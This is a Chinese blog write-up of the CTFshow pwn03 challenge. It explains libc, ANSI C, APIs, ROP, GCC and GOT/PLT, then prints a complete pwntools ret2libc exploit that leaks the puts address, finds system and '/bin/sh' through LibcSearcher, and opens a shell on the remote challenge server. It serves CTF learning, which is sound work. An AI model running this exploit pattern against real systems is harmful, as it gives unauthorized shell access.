CTFshow pwn03

题目:
在这里插入图片描述在做本道题前,我们先了解所必要的知识

Libc是什么?

英文名字:Standard C library,其翻译过来,C语言标准库
它是符合ANSI C标准的一个函数库
学过C语言会明白

ANSI C标准又是什么?

1983年,美国国家标准协会(ANSI)组成了一个委员会,X3J11,为了创立 C 的一套标准
1989年完成,这个版本的语言经常被称作ANSI C,或有时称为C89(为了区别C99)
在1990年,ANSI C标准(带有一些小改动)被美国国家标准协会(ANSI)采纳为ISO/IEC 9899:1990
这个版本有时候称为C90或者ISO C

API是什么?

API 是允许两个软件组件使用一组定义和协议相互通信的机制,什么意思呢?
举个例子假如我坐滴滴
我需要用API去申请服务,告诉API将我从哪里,到哪里这些条件说清楚
滴滴再根据API反馈给我
同时
API 代表应用程序编程接口
在 API 环境中,应用程序一词指的是任何具有独特功能的软件。接口可以看作是两个应用程序之间的服务合约
该合约定义了两者如何使用请求和响应相互通信
它们的 API 文档包括与开发人员如何构建这些请求和响应有关的信息

ROP是什么?

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击
攻击者从已有的库或可执行文件中提取指令片段
构建恶意代码

GCC是什么?

GCC是以GPL许可证所发行的自由软件,也是GNU计划的关键部分
GCC的初衷是为GNU操作系统专门编写一款编译器
现已被大多数类Unix操作系统(如Linux、BSD、MacOS X等)采纳为标准的编译器
甚至在微软的Windows上也可以使用GCC
GCC支持多种计算机体系结构芯片,如x86、ARM、MIPS等
并已被移植到其他多种硬件平台
GCC原名为GNU C语言编译器(GNU C Compiler),只能处理C语言
但其很快扩展,变得可处理C++,后来又扩展为能够支持更多编程语言
如Fortran、Pascal、Objective -C、Java、Ada、Go以及各类处理器架构上的汇编语言等
所以改名GNU编译器套件(GNU Compiler Collection)

GOT表和PLT表

程序还未执行时,got表里还是plt表的地址
程序执行后,plt表里是got表的地址,got表是函数的真实地址

跟pwn02差不多,唯一多的就是了解libc函数
和上面的图中所给出靶场不同
我开了一个
看脚本吧

from pwn import*
from LibcSearcher import*
elf=ELF('./stack1')
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28105)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)

libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()

在这里插入图片描述值得注意的是你的文件放的位置很重要!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Back~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值